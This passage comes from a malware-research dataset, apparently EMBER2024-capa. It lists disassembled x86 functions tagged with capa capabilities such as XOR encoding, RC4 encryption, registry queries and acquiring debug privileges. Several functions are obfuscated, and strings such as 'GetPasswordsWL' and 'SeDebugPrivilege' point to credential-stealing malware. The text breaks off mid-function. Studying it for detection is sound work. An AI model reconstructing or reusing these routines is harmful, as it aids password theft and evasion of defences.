joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40100b
Capabilities:
Query or enumerate registry value

Disassembly:
call 0x40100b
push eax
call sub.KERNEL32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xfffffef0
jmp 0x40109c
lea eax, [ebp - 0x104]
push eax
call fcn.004011ec
push 0x401019
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
jne 0x401165
lea eax, [ebp - 0x10c]
push eax
push 0x20019
push 0
push 0x401038
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x4011a5
mov dword [ebp - 0x110], 0x103
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x401052
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
cmp eax, 0
jne 0x4011a5
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrlenA
lea ebx, [ebp - 0x104]
add ebx, eax
dec ebx
cmp byte [ebx], 0x5c
je 0x40114a
mov word [ebx], 0x5c
push 0x401023
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
je 0x4011a5
mov dword [ebp - 0x108], eax
push 0x40102d
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x40119a
push 0x3e8
call eax
test eax, eax
je 0x40119a
call 0x40118a
add dword [esp], 0x1e76
call eax
push 0
call sub.KERNEL32.dll_ExitProcess
push dword [ebp - 0x108]
call sub.KERNEL32.dll_FreeLibrary
push 0x10
push 0x401096
push 0x401057
push 0
call sub.USER32.dll_MessageBoxA
mov eax, 0xffffffff
leave
ret

Function at 0x401000
Capabilities:
Hide graphical window

Disassembly:
push 0x7f00
push 0
call sub.user32.dll_LoadIconA
mov dword [0x403094], eax
mov dword [0x4030a8], eax
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [0x403098], eax
push 0x40307c
call sub.user32.dll_RegisterClassExA
push 0
push 0x400000
push 0
push 0
push pe_nt_image_headers32
push 0x190
push 0
push 0x10e
push 0xcf0000
push str.Lingos_Message_Loop
push str.Window
push 0x100
call sub.user32.dll_CreateWindowExA
mov dword [0x4030b8], eax
push 0
push 0
push 0x65
push dword [0x4030b8]
push 0x1e
push 0x64
push 0x28
push 0x28
push 0x50000001
push str.BUTTON__1
push str.button
push 0
call sub.user32.dll_CreateWindowExA
mov dword [0x403100], eax
push 0
push 0
push 0x66
push dword [0x4030b8]
push 0x1e
push 0x64
push 0x28
push 0xf0
push 0x50000001
push str.BUTTON__2
push str.button
push 0
call sub.user32.dll_CreateWindowExA
mov dword [0x403104], eax
push 0
push 0
push 0x385
push dword [0x4030b8]
push 0x28
push 0x12c
push 0x5a
push 0x28
push 0x50000044
push 0
push str.edit
push 0x200
call sub.user32.dll_CreateWindowExA
mov dword [0x403108], eax
push 5
push dword [0x4030b8]
call sub.user32.dll_ShowWindow
call sub.user32.dll_UpdateWindow
mov edi, dword [sym.imp.user32.dll_GetMessageA]
mov esi, 0x4030b0
mov edi, dword [edi]
add esp, 0xffffffe8
movq mm3, qword [esi + 8]
movq mm5, qword [esi + 0x1c]
pxor mm4, mm4
movq qword [esp], mm5
movq qword [esp + 8], mm3
movq qword [esp + 0x10], mm4
jmp edi
Function at 0x10001995
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
imul esi, dword [0x1003e3bc], 0x7367264b
xor ebx, ebx
mov eax, ebx
inc eax
cmp word [eax*2 + 0x100328d0], bx
jne 0x100019ab
mov ecx, dword [ebp - 4]
mov edx, dword [0x1003e498]
cmp ecx, eax
jae 0x100019da
cmp ecx, 0xa7d
jne 0x100019d1
lea edx, [esi + 0x68ec5a4a]
add edx, 0x5860fa77
inc ecx
jmp 0x100019bf
push edi
mov esi, str.ShadowScale
lea edi, [ebp - 0x10]
lea eax, [edx - 0x21552653]
or edx, 0xc0ff9ca3
mov dword [ebp - 4], eax
mov eax, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp byte [ebp - 0x10], 0x2e
pop edi
jne 0x10001a17
mov cl, 0x2e
test cl, cl
je 0x10001a17
cmp byte [ebp + eax - 0x10], bl
je 0x10001a17
mov cl, byte [eax + 0x10032ae1]
inc eax
cmp cl, byte [ebp + eax - 0x10]
je 0x10001a00
movzx ecx, byte [eax + str.._AVwxStandardPathsDefault__A0x3278a447__]
movzx eax, byte [ebp + eax - 0x10]
sub ecx, eax
cmp ecx, 0x24
lea ecx, [edx - 0x36e11f77]
jbe 0x10001a33
mov ecx, dword [ebp - 4]
or ecx, 0x77a0406
lea eax, [ecx + 0x2713fa01]
mov dword [0x1003e3ec], eax
mov eax, str.Printing_Error
add ecx, 0x6e0be8fa
inc eax
cmp byte [eax], bl
jne 0x10001a49
add ecx, 0xf49d4398
mov eax, ecx
or eax, 0xb93243b3
mov dword [0x1003e3bc], eax
xor ecx, 0xe563cab7
inc ebx
cmp byte [ebx + str.Printing_Error], 0
jne 0x10001a66
pop esi
cmp ebx, 0x76e
pop ebx
jne 0x10001a88
add ecx, 0x4c781f00
jmp 0x10001a93
imul eax, eax, 0xcaab8a76
mov dword [0x1003e3ec], eax
and ecx, 0x38bf58b1
mov dword [0x1003e498], ecx
leave
ret

Function at 0x10001aa1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [0x1003e484]
push esi
xor esi, esi
push edi
mov eax, esi
or ecx, 0xa9998bf4
inc eax
cmp byte [eax + str.nord_odal], 0
jne 0x10001ab1
cmp eax, 0xc48
mov eax, dword [0x1003e4a0]
jbe 0x10001ad7
mov ecx, eax
or ecx, 0x68212627
jmp 0x10001ae2
mov ecx, dword [0x1003e49c]
add eax, 0x22cc070f
or ecx, 0xa4a5dd51
and eax, 0xab8fe669
add ecx, 0x4570e0a6
mov dword [0x1003e4a0], eax
and ecx, 0xcf5fc0de
mov edi, esi
mov dword [0x1003e49c], ecx
imul edx, eax, 0x7527c24
xor edx, 0xfe69c548
inc edi
cmp word [edi*2 + str.unknown_compression_type], si
jne 0x10001b0c
mov esi, dword [ebp - 4]
cmp esi, edi
jae 0x10001b45
cmp esi, 0x1dc7
jne 0x10001b34
mov edx, ecx
and edx, 0xab89e58e
inc esi
lea ecx, [edx - 0x1ec78499]
cmp esi, edi
jb 0x10001b24
mov dword [0x1003e49c], ecx
xor eax, 0xe4ed241f
pop edi
mov dword [0x1003e484], eax
pop esi
leave
ret
Function at 0x10001b53
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
imul eax, dword [0x1003e3c0], 0xe9279879
mov edx, dword [0x1003e464]
mov ecx, edx
push ebx
xor ebx, ebx
or ecx, 0x37340111
mov dword [ebp - 4], eax
mov eax, ebx
inc eax
cmp byte [eax + str.:_this_object_doesnt_support_resynchronization], bl
jne 0x10001b79
cmp eax, 0xfd7
je 0x10001b91
mov edx, ecx
xor edx, 0xc7a03b47
push esi
push edi
push 6
pop ecx
mov esi, str.OleDocument
lea edi, [ebp - 0x2c]
rep movsd dword es:[edi], dword [esi]
push 0x21
pop esi
mov eax, ebx
cmp si, word [ebp - 0x2c]
jne 0x10001bcb
mov ecx, ebx
test si, si
je 0x10001bcb
cmp word [ebp + ecx - 0x2c], bx
je 0x10001bcb
inc eax
lea ecx, [eax + eax]
movzx esi, word [ecx + str._songfest]
cmp si, word [ebp + ecx - 0x2c]
je 0x10001bad
movzx ecx, byte [eax*2 + str._songfest]
movzx eax, byte [ebp + eax*2 - 0x2c]
sub ecx, eax
mov eax, dword [0x1003e3f8]
cmp ecx, 0x101c
ja 0x10001bef
mov edx, eax
or edx, 0x4d795ff9
mov ebx, dword [0x1003e3b0]
lea edi, [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov esi, str.040904b0
add edx, 0xa266cb68
add ebx, 0x385e8621
add ecx, 0x792abe7a
mov dword [0x1003e3b0], ebx
and eax, 0x63c74698
mov dword [0x1003e464], ecx
movsd dword es:[edi], dword [esi]
or edx, 0xde5841cf
mov dword [0x1003e3c0], eax
mov dword [0x1003e3f8], edx
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
cmp byte [ebp - 0x10], 0x73
jne 0x10001c5b
mov cl, 0x73
mov eax, esi
test cl, cl
je 0x10001c5b
cmp byte [ebp + eax - 0x10], 0
je 0x10001c5b
mov cl, byte [eax + 0x10032e51]
inc eax
cmp cl, byte [ebp + eax - 0x10]
je 0x10001c43
mov eax, esi
lea edi, [ebp - 0x40]
push 0xb
pop ecx
mov esi, str.._AVVirtualProcessorRoot_details_Concurrency__
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x40], 0x3a
jne 0x10001ca7
mov cl, 0x3a
test cl, cl
je 0x10001c8d
cmp byte [ebp + eax - 0x40], 0
je 0x10001c8d
mov cl, byte [eax + 0x10032ee1]
inc eax
cmp cl, byte [ebp + eax - 0x40]
je 0x10001c75
cmp dword [ebp - 4], eax
jae 0x10001ca7
mov edx, dword [ebp - 4]
add edx, 0x792abe7a
add edx, 0x4c3a2d5b
mov dword [0x1003e3f8], edx
xor edi, edi
mov dword [0x1003e48c], 0x3d85f54a
mov eax, edi
inc eax
cmp word [eax*2 + str.HTTP_STATUS_DENIED], di
jne 0x10001cb5
mov ecx, dword [ebp - 4]
cmp ecx, eax
jae 0x10001ce0
cmp ecx, 0x1e79
mov esi, 0xf870af63
cmove edx, esi
inc ecx
cmp ecx, eax
jb 0x10001cc7
mov dword [0x1003e3f8], edx
push 5
pop ecx
mov eax, edi
mov esi, str.firebrick
push 0x75
lea edi, [ebp - 0x28]
pop edx
rep movsd dword es:[edi], dword [esi]
cmp dx, word [ebp - 0x28]
jne 0x10001d1a
xor esi, esi
mov ecx, esi
test dx, dx
je 0x10001d1a
cmp word [ebp + ecx - 0x28], si
je 0x10001d1a
inc eax
lea ecx, [eax + eax]
movzx edx, word [ecx + 0x10032bd0]
cmp dx, word [ebp + ecx - 0x28]
je 0x10001cfc
movzx ecx, byte [eax*2 + 0x10032bd0]
movzx eax, byte [ebp + eax*2 - 0x28]
sub ecx, eax
pop edi
pop esi
cmp ecx, 0x969
jne 0x10001d40
lea eax, [ebx - 0x28031c57]
mov dword [0x1003e3f8], eax
jmp 0x10001d4a
mov dword [0x1003e3b0], 0x3c850108
mov dword [0x1003e47c], 0xf7cfafbf
pop ebx
leave
ret
Function at 0x10003524
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
xor edx, edx
mov eax, edx
inc eax
cmp word [eax*2 + 0x100347f0], dx
jne 0x1000352c
mov ecx, dword [0x1003e808]
cmp eax, 0x174b
jne 0x10003550
mov eax, dword [0x1003e614]
and eax, 0x8d92041d
jmp 0x10003557
mov eax, ecx
or eax, 0xc8edd878
push esi
push edi
mov esi, str.window_default_variant
lea esi, [esi + 2]
or ecx, 0x46ec084d
cmp word [esi], dx
jne 0x1000355e
mov esi, eax
mov ecx, edx
and esi, 0x30690634
inc ecx
cmp byte [ecx + str.HTTP_STATUS_GONE], dl
jne 0x10003576
cmp ecx, 0x1871
jne 0x1000358e
or eax, 0x89324b1
jmp 0x10003595
mov eax, esi
or eax, 0x93f5a3c8
mov edi, edx
lea ecx, [esi - 0x50004c05]
inc edi
cmp byte [edi + str.Connection_Mode:], dl
jne 0x1000359d
push ebx
mov ebx, dword [ebp - 4]
jmp 0x100035c1
cmp ebx, 0x26b4
jne 0x100035ba
lea esi, [eax + 0x66dcf114]
lea ecx, [esi + 0x3211209b]
inc ebx
cmp ebx, edi
jb 0x100035ac
pop ebx
xor ecx, 0x22060023
inc edx
cmp byte [edx + str.wxART_FILE_OPEN], 0
jne 0x100035c6
mov esi, dword [ebp - 4]
mov edi, ecx
mov dword [0x1003e5a4], ecx
cmp esi, edx
jae 0x10003607
cmp esi, 0x2296
jne 0x100035f2
add eax, 0x3bd3746f
mov ecx, eax
xor ecx, 0x1b1dd96
inc esi
mov dword [0x1003e5a4], ecx
cmp esi, edx
jb 0x100035e5
mov edi, ecx
and edi, 0x5d419b2c
add eax, 0xe39902f
mov dword [0x1003e808], edi
pop edi
mov dword [0x1003e614], eax
mov eax, ecx
pop esi
leave
ret
Function at 0x10005bdc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [edx]
push ebx
push esi
xor esi, esi
mov ebx, eax
push edi
test ax, ax
je 0x10005c04
mov ecx, dword [0x1003e5bc]
mov eax, edx
lea eax, [eax + 2]
xor ecx, 0xe67866be
cmp word [eax], si
jne 0x10005bf6
mov edi, dword [ebp + 8]
mov ecx, esi
lea eax, [edi - 0x46822e51]
mov dword [0x1003e678], eax
inc ecx
cmp byte [ecx + str.wxFontDialog], 0
jne 0x10005c14
mov esi, dword [ebp + 8]
cmp esi, ecx
jae 0x10005c43
cmp esi, 0x10a5
jne 0x10005c34
mov eax, edi
xor eax, 0xaae89524
xor eax, 0x2ad21f0f
inc esi
cmp esi, ecx
jb 0x10005c25
mov dword [0x1003e678], eax
mov eax, dword [ebp + 0xc]
add eax, 0xcf68c911
imul eax, eax, 0x4dc7c41f
test bx, bx
pop edi
pop esi
pop ebx
mov dword [0x1003e708], eax
je 0x10005c72
xor ecx, ecx
lea edx, [edx + 2]
xor eax, 0xa55d33cc
cmp word [edx], cx
jne 0x10005c60
mov dword [0x1003e708], eax
or eax, 0xf756be0f
mov dword [0x1003e5bc], eax
pop ebp
ret
Function at 0x1000cbf3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
lea edi, [ebp - 0x64]
push 0x10
pop ecx
mov esi, str.9_9_9_9_9094989_9_9D9H9L9P9T9X9
mov dword [ebp - 8], edx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 8]
xor ebx, ebx
mov edx, ebx
movzx eax, word [esi]
mov ecx, eax
cmp ax, word [ebp - 0x64]
jne 0x1000cc3e
mov eax, ebx
test cx, cx
je 0x1000cc3e
cmp word [ebp + eax - 0x64], bx
je 0x1000cc3e
inc edx
lea eax, [edx + edx]
movzx ecx, word [eax + esi]
cmp cx, word [ebp + eax - 0x64]
je 0x1000cc23
push 5
pop ecx
mov esi, str.wxBoxSizer
lea edi, [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, dword [ebp - 4]
xor edi, edi
movzx eax, word [esi]
mov edx, eax
cmp ax, word [ebp - 0x20]
jne 0x1000cc7c
mov ecx, edx
mov eax, edi
test cx, cx
je 0x1000cc7c
cmp word [ebp + eax - 0x20], di
je 0x1000cc7c
inc ebx
lea eax, [ebx + ebx]
movzx ecx, word [eax + esi]
cmp cx, word [ebp + eax - 0x20]
je 0x1000cc61
mov ecx, dword [ebp - 8]
mov eax, edi
cmp byte [ecx], 0
je 0x1000cc8d
inc eax
cmp byte [eax + ecx], 0
jne 0x1000cc86
mov eax, dword [ebp + 0xc]
mov ebx, edi
push 7
mov esi, str.hwxWindowBase
lea edi, [ebp - 0x24]
lea ecx, [eax + 0x37bb98b4]
xor eax, 0xb987f197
mov dword [0x1003e918], ecx
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x65
pop edx
xor esi, esi
mov dword [0x1003e8f0], eax
cmp dx, word [ebp - 0x24]
jne 0x1000cce0
mov ecx, esi
test dx, dx
je 0x1000cce0
cmp word [ebp + ecx - 0x24], si
je 0x1000cce0
inc ebx
lea ecx, [ebx + ebx]
movzx edx, word [ecx + str.eDISPLAY]
cmp dx, word [ebp + ecx - 0x24]
je 0x1000ccc2
mov ecx, esi
inc ecx
cmp word [ecx*2 + str.successfully_initialized_GDI], si
jne 0x1000cce2
pop edi
pop esi
pop ebx
cmp ecx, 0x1184
jne 0x1000cd05
mov eax, dword [ebp + 0xc]
and eax, 0x30f6d723
mov dword [0x1003e8f0], eax
mov ecx, dword [0x1003e918]
add ecx, 0x1391687b
mov dword [0x1003e970], ecx
leave
ret
Function at 0x1000d205
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov ecx, dword [0x1003e90c]
mov eax, ecx
push ebx
push esi
push edi
push 0xb
lea ebx, [ecx - 0x82acc1f]
mov esi, str.created_with_the_GIMP_
pop ecx
lea edi, [ebp - 0x44]
mov dword [ebp - 4], ebx
rep movsd dword es:[edi], dword [esi]
xor eax, 0x3db7dcc4
mov dword [ebp - 8], eax
xor eax, eax
push 0x53
movsw word es:[edi], word [esi]
mov edx, eax
pop eax
xor edi, edi
cmp ax, word [ebp - 0x44]
jne 0x1000d293
mov ecx, eax
mov eax, edi
test cx, cx
je 0x1000d267
cmp word [ebp + eax - 0x44], di
je 0x1000d267
inc edx
lea eax, [edx + edx]
movzx ecx, word [eax + 0x10035a10]
cmp cx, word [ebp + eax - 0x44]
je 0x1000d249
mov ecx, dword [ebp - 8]
cmp ecx, edx
jae 0x1000d293
mov eax, dword [0x1003e914]
mov esi, dword [ebp - 8]
cmp ecx, 0x1da4
jne 0x1000d284
imul ebx, esi, 0x8d97892a
xor eax, 0x472f1da
inc ecx
cmp ecx, edx
jb 0x1000d276
mov dword [ebp - 4], ebx
jmp 0x1000d298
mov eax, dword [0x1003e914]
mov ecx, edi
xor eax, 0x41f7fe02
inc ecx
cmp word [ecx*2 + 0x10035a10], di
jne 0x1000d29a
mov edx, dword [ebp - 8]
cmp edx, ecx
jae 0x1000d2cd
mov esi, dword [0x1003e90c]
cmp edx, 0x1c64
jne 0x1000d2c5
imul ebx, esi, 0x2b0bc3ab
inc edx
cmp edx, ecx
jb 0x1000d2b7
mov dword [ebp - 4], ebx
lea ecx, [eax - 0x178be70a]
imul edx, ebx, 0x3c66e216
mov esi, str.4_4_4H4T4t4
mov dword [ebp - 8], ecx
mov ecx, edi
lea edi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
mov dword [0x1003e870], edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp byte [ebp - 0x14], 0x66
jne 0x1000d33d
mov bl, 0x66
test bl, bl
je 0x1000d30f
cmp byte [ebp + ecx - 0x14], 0
je 0x1000d30f
mov bl, byte [ecx + 0x10035811]
inc ecx
cmp bl, byte [ebp + ecx - 0x14]
je 0x1000d2f7
mov esi, dword [ebp - 8]
cmp esi, ecx
jae 0x1000d33d
mov edi, dword [ebp - 4]
cmp esi, 0xa4b
jne 0x1000d32f
mov edx, edi
or edx, 0x4945a3a8
mov dword [0x1003e870], edx
inc esi
lea edi, [edx - 0x28faab3b]
cmp esi, ecx
jb 0x1000d319
mov dword [ebp - 4], edi
push 0xe
pop ecx
mov esi, str.GdipGetStringFormatTabStops
lea edi, [ebp - 0x4c]
rep movsd dword es:[edi], dword [esi]
push 0x53
pop esi
xor ebx, ebx
xor edi, edi
cmp si, word [ebp - 0x4c]
jne 0x1000d39b
mov ecx, edi
test si, si
je 0x1000d377
cmp word [ebp + ecx - 0x4c], di
je 0x1000d377
inc ebx
lea ecx, [ebx + ebx]
movzx esi, word [ecx + 0x10035a10]
cmp si, word [ebp + ecx - 0x4c]
je 0x1000d359
mov ecx, dword [ebp - 8]
cmp ecx, ebx
jae 0x1000d39b
mov esi, dword [ebp - 8]
cmp ecx, 0x1ecc
jne 0x1000d390
mov eax, esi
xor eax, 0x87102be0
imul esi, eax, 0x572d4ead
inc ecx
cmp ecx, ebx
jb 0x1000d381
mov ebx, dword [ebp - 4]
mov ecx, 0x10035a10
lea ecx, [ecx + 2]
imul ebx, ebx, 0xb3199b0f
cmp word [ecx], di
jne 0x1000d3a3
xor edx, 0xe757efd1
or eax, 0x89bf665c
pop edi
mov dword [0x1003e914], edx
and edx, 0x16fefdea
pop esi
mov dword [0x1003e90c], eax
mov dword [0x1003e884], edx
pop ebx
leave
ret
Function at 0x1000d953
Capabilities:
Acquire debug privileges
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1003e88c]
mov ecx, eax
push ebx
mov ebx, dword [0x1003e82c]
or ecx, 0xc67e4448
push esi
xor esi, esi
mov dword [ebp - 4], ecx
or ebx, 0xfdea1f16
mov dword [ebp - 8], edx
mov ecx, esi
push edi
cmp word [edx], si
je 0x1000d9cb
xor eax, 0x31f34a08
inc ecx
cmp word [edx + ecx*2], si
jne 0x1000d984
mov esi, dword [ebp - 8]
mov dword [0x1003e88c], eax
cmp esi, ecx
jae 0x1000d9cb
mov edi, dword [0x1003e920]
mov eax, edi
mov edx, dword [0x1003e834]
or eax, 0xdc508bb7
mov dword [0x1003e88c], eax
cmp esi, 0x266e
jne 0x1000d9c4
mov edx, edi
xor edx, 0xc8c06712
inc esi
cmp esi, ecx
jb 0x1000d9b4
jmp 0x1000d9d1
mov edx, dword [0x1003e834]
mov esi, str.SeDebugPrivilege
lea edi, [ebp - 0x1c]
lea eax, [ebx + 0x105a4955]
add edx, 0x11ffddbf
mov dword [0x1003e920], eax
xor eax, eax
mov dword [0x1003e834], edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x1c], 0x47
jne 0x1000da17
mov cl, 0x47
test cl, cl
je 0x1000da17
cmp byte [ebp + eax - 0x1c], 0
je 0x1000da17
mov cl, byte [eax + 0x100359f1]
inc eax
cmp cl, byte [ebp + eax - 0x1c]
je 0x1000d9ff
movzx ecx, byte [eax + 0x100359f0]
movzx eax, byte [ebp + eax - 0x1c]
sub ecx, eax
cmp ecx, 0x139b
jne 0x1000da3b
and edx, 0x42cd46e
mov dword [0x1003e920], edx
jmp 0x1000da47
xor edx, 0xc1ac8066
mov dword [0x1003e88c], edx
imul eax, dword [ebp - 4], 0x7328a213
add ebx, 0x30f9a8de
mov dword [0x1003e904], ebx
mov dword [0x1003e82c], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov eax, dword [ebp - 8]
xor ecx, ecx
pop edi
pop esi
pop ebx
cmp word [eax], cx
je 0x1000da86
mov ecx, dword [0x1003e88c]
xor ecx, 0x23dd1209
mov dword [0x1003e904], ecx
jmp 0x1000da8c
mov ecx, dword [0x1003e904]
lea eax, [ecx - 0x1dc5d98e]
add ecx, 0x35d762d6
or ecx, 0x8945bd61
mov dword [0x1003e920], eax
mov dword [0x1003e834], ecx
leave
ret
Function at 0x1000dd06
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edx, dword [0x1003e8c8]
lea edi, [ebp - 0x1c]
push 5
pop ecx
mov esi, str.cant_read_closed_file
xor ebx, ebx
rep movsd dword es:[edi], dword [esi]
lea eax, [edx + 0xd3d1a44]
mov dword [ebp - 4], eax
mov eax, ebx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x1c], 0x49
jne 0x1000dd6e
mov cl, 0x49
test cl, cl
je 0x1000dd51
cmp byte [ebp + eax - 0x1c], bl
je 0x1000dd51
mov cl, byte [eax + 0x10035c29]
inc eax
cmp cl, byte [ebp + eax - 0x1c]
je 0x1000dd3a
mov ecx, dword [ebp - 4]
cmp ecx, eax
jae 0x1000dd6e
mov esi, dword [ebp - 4]
cmp ecx, 0x7cb
jne 0x1000dd69
lea edx, [esi - 0xc0b093b]
inc ecx
cmp ecx, eax
jb 0x1000dd5b
lea eax, [edx - 0x225a82a1]
mov dword [ebp - 4], eax
mov eax, 0x10035b10
xor edx, 0x40b729ea
inc eax
cmp byte [eax], bl
jne 0x1000dd7c
mov esi, str.9_9_989X9_9h9p9x9
lea edi, [ebp - 0x18]
mov eax, edx
and eax, 0x8890b05f
mov dword [0x1003e874], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp byte [ebp - 0x18], 0x37
jne 0x1000ddc1
mov al, 0x37
test al, al
je 0x1000ddc1
cmp byte [ebp + ebx - 0x18], 0
je 0x1000ddc1
mov al, byte [ebx + 0x10035951]
inc ebx
cmp al, byte [ebp + ebx - 0x18]
je 0x1000dda9
movzx ecx, byte [ebx + str.7_7_74787H7L77_7p7t7x7]
movzx eax, byte [ebp + ebx - 0x18]
pop edi
sub ecx, eax
pop esi
pop ebx
cmp ecx, 0x1cf9
jne 0x1000dde7
mov eax, dword [ebp - 4]
add eax, 0xcdb9274c
mov dword [0x1003e874], eax
mov eax, str.t79vpt2h
add edx, 0xd6077799
inc eax
cmp byte [eax], 0
jne 0x1000ddec
mov dword [0x1003e8c8], edx
or edx, 0x3a418596
mov dword [0x1003e8cc], edx
lea eax, [edx - 0xdfeace8]
mov dword [0x1003e8a4], eax
leave
ret
Function at 0x1000f474
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
mov eax, ecx
mov ebx, edx
push esi
push edi
xor edi, edi
mov dword [ebp - 8], eax
mov cl, byte [eax]
mov esi, edi
mov byte [ebp - 1], cl
inc esi
cmp byte [esi + str.Publisher], 0
jne 0x1000f48d
mov eax, ebx
and edx, 0x1ebfa212
xor eax, 0x70d1e38c
cmp esi, 0x2089
cmovae edx, eax
mov eax, dword [ebp + 8]
cmp word [eax], di
je 0x1000f4bd
mov edx, ebx
and edx, 0x962d365b
test cl, cl
je 0x1000f4c9
mov edx, ebx
and edx, 0x8ad8623e
mov eax, edx
mov esi, str.GetPasswordsWL___:_ending
and eax, 0xba8a6c55
mov dword [ebp + 8], eax
mov eax, edi
push 6
pop ecx
lea edi, [ebp - 0x30]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp byte [ebp - 0x30], 0x6c
jne 0x1000f504
mov cl, 0x6c
test cl, cl
je 0x1000f504
cmp byte [ebp + eax - 0x30], 0
je 0x1000f504
mov cl, byte [eax + 0x10036b49]
inc eax
cmp cl, byte [ebp + eax - 0x30]
je 0x1000f4ec
movzx ecx, byte [eax + str.lego.com]
movzx eax, byte [ebp + eax - 0x30]
sub ecx, eax
lea eax, [edx - 0x1e09c398]
cmp ecx, 0x5bf
jb 0x1000f523
mov eax, dword [ebp + 8]
mov cl, byte [ebp - 1]
lea edi, [ebp - 0x14]
mov edx, dword [ebp - 8]
mov esi, str.coalesce
and eax, 0x1dc505c2
mov dword [0x1003ea08], eax
xor eax, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp cl, byte [ebp - 0x14]
jne 0x1000f55a
test cl, cl
je 0x1000f55a
cmp byte [ebp + eax - 0x14], 0
je 0x1000f55a
inc eax
mov cl, byte [edx + eax]
cmp cl, byte [ebp + eax - 0x14]
je 0x1000f545
movzx ecx, byte [eax + edx]
movzx eax, byte [ebp + eax - 0x14]
sub ecx, eax
cmp ecx, 0xf3a
jb 0x1000f578
lea eax, [ebx + 0x7a1c5cee]
mov dword [0x1003ea08], eax
push 0xd
pop ecx
mov esi, str.passwordextract_skipfindwl
lea edi, [ebp - 0x68]
rep movsd dword es:[edi], dword [esi]
xor edx, edx
movsw word es:[edi], word [esi]
mov esi, dword [ebp + 0xc]
movzx eax, word [esi]
mov ecx, eax
cmp ax, word [ebp - 0x68]
jne 0x1000f5c6
xor edi, edi
mov eax, edi
test cx, cx
je 0x1000f5b6
cmp word [ebp + eax - 0x68], di
je 0x1000f5b6
inc edx
lea eax, [edx + edx]
movzx ecx, word [eax + esi]
cmp cx, word [ebp + eax - 0x68]
je 0x1000f59b
cmp dword [ebp + 8], edx
jae 0x1000f5c6
imul eax, ebx, 0x45d1f8c3
mov dword [0x1003ea08], eax
imul eax, ebx, 0x2eb609df
pop edi
pop esi
pop ebx
mov dword [0x1003eab4], eax
leave
ret
Function at 0x10010133
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
mov eax, edx
mov dword [ebp - 4], ecx
mov edx, ecx
mov dword [ebp - 8], eax
xor ecx, ecx
lea edi, [ebp - 0x24]
mov ebx, ecx
mov esi, str.entomology
movzx eax, word [eax]
and edx, 0xec130c39
push 5
pop ecx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc], eax
mov dword [0x1003eaf8], edx
movsw word es:[edi], word [esi]
cmp ax, word [ebp - 0x24]
jne 0x100101ba
mov esi, dword [ebp - 8]
xor edi, edi
movzx ecx, ax
mov eax, edi
test cx, cx
je 0x10010196
cmp word [ebp + eax - 0x24], di
je 0x10010196
inc ebx
lea eax, [ebx + ebx]
movzx ecx, word [eax + esi]
cmp cx, word [ebp + eax - 0x24]
je 0x1001017b
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
jmp 0x100101b4
cmp eax, 0x198
jne 0x100101b3
mov edx, ecx
xor edx, 0xaf8271e4
mov dword [0x1003eaf8], edx
inc eax
cmp eax, ebx
jb 0x1001019e
jmp 0x100101bd
mov ecx, dword [ebp - 4]
and ecx, 0xdac6393a
lea edi, [ebp - 0x38]
mov dword [0x1003eb44], ecx
mov esi, str.6_6_6064686_6X6h6l66
push 0xb
pop ecx
